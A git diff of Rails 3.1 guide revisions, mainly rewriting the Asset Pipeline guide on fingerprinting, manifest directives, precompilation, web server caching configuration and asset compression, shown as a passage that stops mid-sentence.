it is tedious, complicated, there is a proliferation of tools and no consensus/accepted best practices, but we will nevertheless take a stab at it: diff --git a/railties/guides/source/api_documentation_guidelines.textile b/railties/guides/source/api_documentation_guidelines.textile index 9c4df2d6b8..99eb668513 100644 --- a/railties/guides/source/api_documentation_guidelines.textile +++ b/railties/guides/source/api_documentation_guidelines.textile @@ -106,7 +106,6 @@ routes.rb # NO RAILS_ROOT/config/routes.rb # NO </plain> - h3. Fonts h4. Fixed-width Font @@ -147,7 +146,7 @@ h3. Description Lists In lists of options, parameters, etc. use a hyphen between the item and its description (reads better than a colon because normally options are symbols): <ruby> -# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+. +# * <tt>:allow_nil</tt> - Skip validation if attribute is <tt>nil</tt>. </ruby> The description starts in upper case and ends with a full stop—it's standard English. @@ -184,8 +183,3 @@ self.class_eval %{ end } </ruby> - -h3. Changelog - -* July 17, 2010: ported from the docrails wiki and revised by "Xavier Noria":credits.html#fxn - diff --git a/railties/guides/source/asset_pipeline.textile b/railties/guides/source/asset_pipeline.textile index 51cb332e38..3681501293 100644 --- a/railties/guides/source/asset_pipeline.textile +++ b/railties/guides/source/asset_pipeline.textile @@ -1,6 +1,6 @@ h2. Asset Pipeline -This guide will cover the ideology of the asset pipeline introduced in Rails 3.1. +This guide covers the asset pipeline introduced in Rails 3.1. By referring to this guide you will be able to: * Understand what the asset pipeline is and what it does @@ -13,16 +13,22 @@ endprologue. h3. What is the Asset Pipeline? -The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, SCSS and ERB. +The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB. -Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 includes the +sprockets-rails+ gem, which depends on the +sprockets+ gem, by default. +Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the +sprockets+ gem, by default. -By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "Fast by default" strategy as outlined by DHH in his 2011 keynote at Railsconf. +By having this as a core feature of Rails, all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011. -In new Rails 3.1 application the asset pipeline is enable by default. It can be disabled in +application.rb+ by putting this line inside the +Application+ class definition: +In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in +config/application.rb+ by putting this line inside the application class definition: -<plain> +<ruby> config.assets.enabled = false +</ruby> + +You can also disable it while creating a new application by passing the <tt>--skip-sprockets</tt> option. + +<plain> +rails new appname --skip-sprockets </plain> It is recommended that you use the defaults for all new apps. @@ -30,29 +36,31 @@ It is recommended that you use the defaults for all new apps. h4. Main Features -The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser needs to make to render a web page. While Rails already has a feature to concatenate these types of asset--by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+--, many people do not use it. +The first feature of the pipeline is to concatenate assets. This is important in a production environment, as it reduces the number of requests that a browser must make to render a web page. + +While Rails already has a feature to concatenate these types of assets by placing +:cache => true+ at the end of tags such as +javascript_include_tag+ and +stylesheet_link_tag+, it has a series of limitations. For example, it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries. -The default behavior in Rails 3.1 and onward is to concatenate all files into one master file each for JS and CSS. However, you can separate files or groups of files if required (see below). In production an MD5 fingerprint is inserted into each filename so that the file is cached by the web browser but can be invalidated if the fingerprint is altered. +The default behavior in Rails 3.1 and onward is to concatenate all files into one master file each for JS and CSS. However, you can separate files or groups of files if required (see below). In production, an MD5 fingerprint is inserted into each filename so that the file is cached by the web browser but can be invalidated if the fingerprint is altered. -The second feature is to minify or compress. For CSS, this usually involves removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own. +The second feature is to minify or compress assets. For CSS, this usually involves removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own. -The third feature is the ability to code these assets using another language, or language extension. These include SCSS or Sass for CSS, CoffeeScript for JavaScript, and ERB for both. +The third feature is the ability to code these assets using another language, or language extension. These include Sass for CSS, CoffeeScript for JavaScript, and ERB for both. h4. What is Fingerprinting and Why Should I Care? -Fingerprinting is a technique where the filenames of content that is static or infrequently updated is altered to be unique to the content contained in the file. +Fingerprinting is a technique whereby the filenames of content that is static or infrequently updated are altered to be unique to the content contained in the file. -When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cachebusting_. +When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (at ISPs, in browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change and the remote clients will request the new file. This is generally known as _cache busting_. -The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the hash. +The most effective technique is to insert a hash of the content into the name, usually at the end. For example a CSS file +global.css+ is hashed and the filename is updated to incorporate the digest, for example becoming: <plain> -global.css => global-908e25f4bf641868d8683022a5b62f54.css +global-908e25f4bf641868d8683022a5b62f54.css </plain> This is the strategy adopted by the Rails asset pipeline. -Rails old strategy was to append a query string to every asset linked with a built-in helper. In the source the generated code looked like this: +Rails' old strategy was to append a query string to every asset linked with a built-in helper. In the source the generated code looked like this: <plain> /stylesheets/global.css?1309495796 @@ -62,8 +70,8 @@ This has several disadvantages: <ol> <li> - <strong>Not all caches will cache content with a query string</strong><br> - "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in these case 5-20% of requests will not be cached. + <strong>Not all caches will cache content with a query string</strong>.<br> + "Steve Souders recommends":http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/, "...avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation. </li> <li> <strong>The file name can change between nodes in multi-server environments.</strong><br> @@ -71,9 +79,11 @@ This has several disadvantages: </li> </ol> -The other problem is that when static assets are deployed with each new release of code, the mtime of *all* these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. +The other problem is that when static assets are deployed with each new release of code, the mtime of _all_ these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed. + +Fingerprinting fixes these problems by avoiding query strings, and by ensuring filenames are consistent based on their content. -Fingerprinting avoids all these problems by ensuring filenames are consistent based on the content. +Fingerprinting is enabled by default for production and disabled for all the others environments. You can enable or disable it in your configuration through the +config.assets.digest+ option. More reading: @@ -83,14 +93,18 @@ More reading: h3. How to Use the Asset Pipeline -In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory will be served by the Sprockets middleware included in the sprockets gem. +In previous versions of Rails, all assets were located in subdirectories of +public+ such as +images+, +javascripts+ and +stylesheets+. With the asset pipeline, the preferred location for these assets is now the +app/assets+ directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem. This is not to say that assets can (or should) no longer be placed in +public+; they still can be and will be served as static files by the application or web server. You would only use +app/assets+ if you wish your files to undergo some pre-processing before they are served. -When a scaffold or controller is generated for the application, Rails will also generate a JavaScript file (or CoffeeScript if the +coffee-script+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS if +sass-rails+ is in the +Gemfile+) file for that controller. +In production, the default is to precompile these files to +public/assets+ so that they can be more efficiently delivered by the web server. + +When a scaffold or controller is generated for the application, Rails also generates a JavaScript file (or CoffeeScript file if the +coffee-rails+ gem is in the +Gemfile+) and a Cascading Style Sheet file (or SCSS file if +sass-rails+ is in the +Gemfile+) for that controller. For example, if a +ProjectsController+ is generated, there will be a new file at +app/assets/javascripts/projects.js.coffee+ and another at +app/assets/stylesheets/projects.css.scss+. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as +<%= javascript_include_tag params[:controller] %>+ or +<%= stylesheet_link_tag params[:controller] %>+. +NOTE: You will need a "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check "ExecJS":https://github.com/sstephenson/execjs#readme documentation to know all supported JavaScript runtimes. + h4. Asset Organization Assets can be placed inside an application in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+. @@ -101,13 +115,17 @@ Assets can be placed inside an application in one of three locations: +app/asset +vendor/assets+ is for assets that are owned by outside entities, such as code for JavaScript plugins. -All subdirectories that exist within these three locations will be added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths will be looked through to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served. +All subdirectories that exist within these three locations are added to the search path for Sprockets (visible by calling +Rails.application.config.assets.paths+ in a console). When an asset is requested, these paths are traversed to see if they contain an asset matching the name specified. Once an asset has been found, it's processed by Sprockets and served. -h4. Coding Links to Assets +You can add additional (fully qualified) paths to the pipeline in +config/application.rb+. For example: -To access assets, we can use the same tags that we are generally familiar with: +<ruby> +config.assets.paths << Rails.root.join("app", "assets", "flash") +</ruby> + +h4. Coding Links to Assets -Sprockets does not add any new methods to require your assets, we still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+. +Sprockets does not add any new methods to access your assets - you still use the familiar +javascript_include_tag+ and +stylesheet_link_tag+. <erb> <%= stylesheet_link_tag "application" %> @@ -120,65 +138,88 @@ In regular views you can access images in the +assets/images+ directory like thi <%= image_tag "rails.png" %> </erb> -Images can be organized into directories if required, and they can be accessed by specifying the directory's name in the tag: +Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at +public/assets/rails.png+ it is served by the webserver. + +Alternatively, a request for a file with an MD5 hash such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ is treated the same way. How these hashes are generated is covered in the "In Production":#in-production section later on in this guide. + +Sprockets will also look through the paths specified in +config.assets.paths+ which includes the standard application paths and any path added by Rails engines. + +Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag: <erb> <%= image_tag "icons/rails.png" %> </erb> -Providing that assets are enabled within our application (+config.assets.enabled+ in the current environment's file is not set to +false+), this file will be served by Sprockets unless a file at +public/assets/rails.png+ exists, in which case that file will be served. - -Alternatively, a file with an MD5 hash after its name such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ will also be picked up by Sprockets. How these hashes are generated is covered in the "Production Assets":#production_assets section later on in this guide. - -Otherwise, Sprockets will look through the available paths until it finds a file that matches the name and then will serve it, first looking in the application's assets directories and then falling back to the various engines of the application. +h5. CSS and ERB -If you want to use a "css data URI":http://en.wikipedia.org/wiki/Data_URI_scheme - a method of embedding the image data directly into the CSS file - you can use the +asset_data_uri+ helper. +If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+, then helpers like +asset_path+ are available in your CSS rules: <plain> -#logo { background: url(<%= asset_data_uri 'logo.png' %>) +.class { background-image: url(<%= asset_path 'image.png' %>) } </plain> -This will insert a correctly formatted data URI into the CSS source. +This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced. -h5. CSS and ERB - -If you add an +erb+ extension to a CSS asset, making it something such as +application.css.erb+ then you can use the +asset_path+ helper in your CSS rules: +If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper. <plain> -.class{background-image:<%= asset_path 'image.png' %>} +#logo { background: url(<%= asset_data_uri 'logo.png' %>) } </plain> -This will write the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file then that path will be referenced. +This inserts a correctly-formatted data URI into the CSS source. Note that the closing tag cannot be of the style +-%>+. -h5. CSS and SCSS +h5. CSS and Sass -When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +_url+ and +_path+ helpers for the following asset classes: image, font, video, audio, javascript, stylesheet. +When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet. -* +image_url("rails.png")+ becomes +url(/assets/rails.png)+ -* +image_path("rails.png")+ becomes +"/assets/rails.png"+. +* +image-url("rails.png")+ becomes +url(/assets/rails.png)+ +* +image-path("rails.png")+ becomes +"/assets/rails.png"+. The more generic form can also be used but the asset path and class must both be specified: -* +asset_url("rails.png", "image")+ becomes +url(/assets/rails.png)+ -* +asset_path("rails.png", "image")+ becomes +"/assets/rails.png"+ +* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+ +* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+ + +h5. JavaScript/CoffeeScript and ERB + +If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code: + +<erb> +$('#logo').attr({ + src: "<%= asset_path('logo.png') %>" +}); +</erb> + +This writes the path to the particular asset being referenced. + +Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (eg. +application.js.coffee.erb+): + +<plain> +$('#logo').attr src: "<%= asset_path('logo.png') %>" +</plain> h4. Manifest Files and Directives -Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ - instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets will load the files specified, process them if necessary, concatenate them into one single file and then compress them (if +Rails.application.config.assets.compress+ is set to +true+). By serving one file rather than many, a page's load time is greatly reduced as there is not as many requests to make for each file. +Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is true). By serving one file rather than many, the load time of pages are greatly reduced as there are fewer requests to make. For example, in the default Rails application there's a +app/assets/javascripts/application.js+ file which contains the following lines: <plain> +// ... //= require jquery //= require jquery_ujs //= require_tree . </plain> -In JavaScript files, directives begin with +//=+. In this case, the following file is using the +require+ directive and the +require_tree+ directive. The +require+ directive tells Sprockets that we would like to require a file called +jquery.js+ that is available somewhere in the search path for Sprockets. By default, this is located inside the +vendor/assets/javascripts+ directory contained within the +jquery-rails+ gem. An identical event takes place for the +jquery_ujs+ require +In JavaScript files, the directives begin with +//=+. In this case, the file is using the +require+ and the +require_tree+ directives. The +require+ directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files +jquery.js+ and +jquery_ujs.js+ that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a +.js+ file when done from within a +.js+ file. + +NOTE. In Rails 3.1 the +jquery-rails+ gem provides the +jquery.js+ and +jquery_ujs.js+ files via the asset pipeline. You won't see them in the application tree. -The +require_tree .+ directive tells Sprockets to include _all_ JavaScript files in this directory into the output. Only a path relative to the file can be specified. +The +require_tree+ directive tells Sprockets to recursively include _all_ JavaScript files in this directory into the output. Only a path relative to the manifest file can be specified. There is also a +require_directory+ directive which includes all JavaScript files only in the directory specified (no nesting). + +Directives are processed top to bottom, but the order in which files are included by +require_tree+ is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other, require it before in the manifest. Note that the family of +require+ directives prevents files from being included twice in the output. There's also a default +app/assets/stylesheets/application.css+ file which contains these lines: @@ -189,13 +230,15 @@ There's also a default +app/assets/stylesheets/application.css+ file which conta */ </plain> -The directives that work in the JavaScript files will also work in stylesheets, obviously including stylesheets rather than JavaScript files. The +require_tree+ directive here works the same way as the JavaScript one, requiring all stylesheets from the current directory. +The directives that work in the JavaScript files also work in stylesheets, obviously including stylesheets rather than JavaScript files. The +require_tree+ directive here works the same way as the JavaScript one, requiring all stylesheets from the current directory. + +In this example +require_self+ is used. This puts the CSS contained within the file (if any) at the precise location of the +require_self+ call. If +require_self+ is called more than once, only the last call is respected. -In this example +require_self+ is used. This will put the CSS contained within the file (if any) at the top of any other CSS in this file unless +require_self+ is specified after another +require+ directive. +NOTE. If you want to use multiple Sass files, use the "Sass +@import+ rule":http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import instead of the Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in. You can have as many manifest files as you need. For example the +admin.css+ and +admin.js+ manifest could contain the JS and CSS files that are used for the admin section of an application. -For some assets (like CSS) the compiled order is important. You can specify individual files and they will be compiled in the order specified: +The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified: <plain> /* ... @@ -208,98 +251,159 @@ For some assets (like CSS) the compiled order is important. You can specify indi h4. Preprocessing -The file extensions used on an asset will determine what preprocessing will be applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file will be generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and a +app/assets/stylesheets/projects.css.scss+ file. +The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and an +app/assets/stylesheets/projects.css.scss+ file. -When these files are requested, they will be processed by the processors provided by the +coffee-script+ and +sass-rails+ gems and then sent back to the browser as JavaScript and CSS respectively. +When these files are requested, they are processed by the processors provided by the +coffee-script+ and +sass-rails+ gems and then sent back to the browser as JavaScript and CSS respectively. -Additional layers of pre-processing can be requested by adding other extensions, where each extension will be processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ would first be processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file - +app/assets/javascripts/projects.js.coffee.erb+ would be process as ERB, CoffeeScript and served as JavaScript. +Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, CoffeeScript, and served as JavaScript. -Keep in mind that the order of these pre-processors is important. For example, if we called our JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore we would run into problems. +Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems. h3. In Development -In the development environment assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-validate+ Cache-Control HTTP header to reduce request overhead on subsequent requests - on these the browser gets a 304 (not-modified) response. - -If any of the files in the manifest have changed between requests, the server will respond with a new compiled file. - -h4. Debugging Assets +In development mode assets are served as separate files in the order they are specified in the manifest file. -You can put +?debug_assets=true+ or +?debug_assets=1+ at the end of a URL and Sprockets will expand the lines which load the assets. For example, if we had an +app/assets/javascripts/application.js+ file containing these lines: +This manifest +app/assets/javascripts/application.js+: <plain> -//= require "projects" -//= require "tickets" +//= require core +//= require projects +//= require tickets </plain> -By default, this would only render this line when used with +<%= javascript_include_tag "application" %>+ in a view or layout: +would generate this HTML: <html> -<script src='/assets/application.js'></script> +<script src="/assets/core.js?body=1" type="text/javascript"></script> +<script src="/assets/projects.js?body=1" type="text/javascript"></script> +<script src="/assets/tickets.js?body=1" type="text/javascript"></script> </html> -When the +debug_assets+ parameter is set, this line will be expanded out into three separate lines, separating out the combined file into their parts. +The +body+ param is required by Sprockets. + +h4. Turning Debugging off + +You can turn off debug mode by updating +config/environments/development.rb+ to include: + +<ruby> +config.assets.debug = false +</ruby> + +When debug mode is off Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead: <html> -<script src='/assets/application.js'></script> -<script src='/assets/projects.js'></script> -<script src='/assets/tickets.js'></script> +<script src="/assets/application.js" type="text/javascript"></script> </html> -This allows the individual parts of an asset to be rendered and debugged separately. +Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response. + +If any of the files in the manifest have changed between requests, the server responds with a new compiled file. + +Debug mode can also be enabled in the Rails helper methods: + +<erb> +<%= stylesheet_link_tag "application", :debug => true %> +<%= javascript_include_tag "application", :debug => true %> +</erb> + +The +:debug+ option is redundant if debug mode is on. + +You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging. h3. In Production -In the production environment, assets are served slightly differently. +In the production environment Rails uses the fingerprinting scheme outlined above. By default it is assumed that assets have been precompiled and will be served as static assets by your web server. -On the first request the assets are compiled and cached as described above, however the manifest names are altered to include an MD5 hash. Files names typically will look like these: +During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name. -<plain> -/assets/application-908e25f4bf641868d8683022a5b62f54.js -/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css -</plain> +For example this: -The MD5 is generated from the contents of the compiled files, and is included in the HTTP +Content-MD5+ header. +<erb> +<%= javascript_include_tag "application" %> +<%= stylesheet_link_tag "application" %> +</erb> -Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. +generates something like this: + +<html> +<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js" type="text/javascript"></script> +<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" type="text/css" /> +</html> + +The fingerprinting behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which is +true+ for production, +false+ for everything else). -This behavior is controlled by the setting of +config.action_controller.perform_caching+ setting in Rails (which is +true+ for production, +false+ for everything else). This value is propagated to Sprockets during initialization for use when action_controller is not available. +NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes. h4. Precompiling Assets -Even though assets are served by Rack::Cache with far-future headers, in high traffic sites this may not be fast enough. +Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk. -Rails comes bundled with a rake task to compile the manifests to files on disc. These are located in the +public/assets+ directory where they will be served by your web server instead of the Rails application. +Compiled assets are written to the location specified in +config.assets.prefix+. The default setting will use the +public/assets+ directory. + +You must use this task either during deployment or locally if you do not have write access to your production filesystem. The rake task is: <plain> -rake assets:precompile +bundle exec rake assets:precompile </plain> -You can run this as part of a Capistrano deployment: +For faster asset precompiles, you can partially load your application by setting ++config.assets.initialize_on_precompile+ to false in +config/application.rb+, though in that case templates +cannot see application objects or methods. *Heroku requires this to be false.* + +WARNING: If you set +config.assets.initialize_on_precompile+ to false, be sure to +test +rake assets:precompile+ locally before deploying. It may expose bugs where +your assets reference application objects or methods, since those are still +in scope in development mode regardless of the value of this flag. + +Capistrano (v2.8.0 and above) has a recipe to handle this in deployment. Add the following line to +Capfile+: <erb> -before 'deploy:symlink' do - run "cd #{release_path}; RAILS_ENV=#{rails_env} rake assets:precompile" -end +load 'deploy/assets' </erb> -If you are not precompiling your assets, and you are using the default cache file store (which is the file system), you will need to symlink +rails_root/tmp/cache/assets+ from the shared folder that is part of the Capistrano deployment structure in order to persist the cached file between deployments. +This links the folder specified in +config.assets.prefix+ to +shared/assets+. If you already use this shared folder you'll need to write your own deployment task. -TODO: Extend above task to allow for this and add task to set it up (See commits 8f0e0b6 and 704ee0df). Note: Capistrano folks are working on a recipe - update this when it available (see https://github.com/capistrano/capistrano/pull/35). +It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page. -The default matcher for compiling files will include +application.js+, +application.css+ and all files that do not end in +js+ or +css+: +NOTE. If you are precompiling your assets locally, you can use +bundle install --without assets+ on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile). + +The default matcher for compiling files includes +application.js+, +application.css+ and all files that do not end in +js+ or +css+: <ruby> -[ /\w+\.(?!js|css).+/, /application.(css|js)$/ ] +[ /\w<plus>\.(?!js|css).<plus>/, /application.(css|js)$/ ] </ruby> -If you have other manifests or individual stylesheets and JavaScript files to include, you can append them to the +precompile+ array: +If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array: <erb> -config.assets.precompile << ['admin.js', 'admin.css', 'swfObject.js'] +config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js'] </erb> +The rake task also generates a +manifest.yml+ that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods and avoids handing the mapping requests back to Sprockets. A typical manifest file looks like: + +<plain> +--- +rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png +jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js +jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js +application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js +application.css: application-8af74128f904600e41a6e39241464e03.css +</plain> + +The default location for the manifest is the root of the location specified in +config.assets.prefix+ ('/assets' by default). + +This can be changed with the +config.assets.manifest+ option. A fully specified path is required: + +<erb> +config.assets.manifest = '/path/to/some/other/location' +</erb> + +NOTE: If there are missing precompiled files in production you will get an <tt>Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError</tt> exception indicating the name of the missing file(s). + +h5. Server Configuration + Precompiled assets exist on the filesystem and are served directly by your webserver. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them. For Apache: @@ -318,45 +422,102 @@ For Apache: </LocationMatch> </plain> -TODO: NGINX instructions +For nginx: + +<plain> +location ~ ^/assets/ { + expires 1y; + add_header Cache-Control public; -When files are precompiled Sprockets also creates "Gzip":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. This avoids the server having to do this for any requests; it can simply read the compressed files from disc. You must configure your server to use gzip compression and serve the compressed assets that will be stored in the public/assets folder. The following configuration options can be used: + # Some browsers still send conditional-GET requests if there's a + # Last-Modified header or an ETag header even if they haven't + # reached the expiry date sent in the Expires header. + add_header Last-Modified ""; + add_header ETag ""; + break; +} +</plain> -TODO: Apache instructions +When files are precompiled, Sprockets also creates a "gzipped":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves. +Nginx is able to do this automatically enabling +gzip_static+: -h3. Customizing the Pipeline +<plain> +location ~ ^/(assets)/ { + root /path/to/public; + gzip_static on; # to serve pre-gzipped version + expires max; + add_header Cache-Control public; +} +</plain> + +This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even +nginx-light+ have the module compiled. Otherwise, you may need to perform a manual compilation: + +<plain> +./configure --with-http_gzip_static_module +</plain> + +If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted. + +Unfortunately, a robust configuration for Apache is possible but tricky, please Google around. + +h4. Live Compilation +In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly. + +To enable this option set: + +<erb> +config.assets.compile = true +</erb> + +On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash. + +Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. + +This mode uses more memory, performs poorer than the default and is not recommended. + +When deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile: + +<plain> +group :production do + gem 'therubyracer' +end +</plain> + +h3. Customizing the Pipeline h4. CSS Compression -There is currently one option for compressing CSS - YUI. This Gem extends the CSS syntax and offers minification. +There is currently one option for compressing CSS, YUI. The "YUI CSS compressor":http://developer.yahoo.com/yui/compressor/css.html provides minification. -The following line will enable YUI compression, and requires the +yui-compressor+ gem. +The following line enables YUI compression, and requires the +yui-compressor+ gem. <erb> config.assets.css_compressor = :yui </erb> -The +config.assets.compress+ must be set to +true+ to enable CSS compression +The +config.assets.compress+ must be set to +true+ to enable CSS compression. -h4. JavaScript +h4. JavaScript Compression Possible options for JavaScript compression are +:closure+, +:uglifier+ and +:yui+. These require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively. -The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compress your code by removing white spaces and other magical things like changing your +if+ and +else+ statements to ternary operators where possible. +The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space and other magical things like changing your +if+ and +else+ statements to ternary operators where possible. -The following line will invoke uglifier for JavaScript compression. +The following line invokes +uglifier+ for JavaScript compression. <erb> -config.assets.js_compressor = :uglifier +config.assets.js_compressor = :uglifier </erb> The 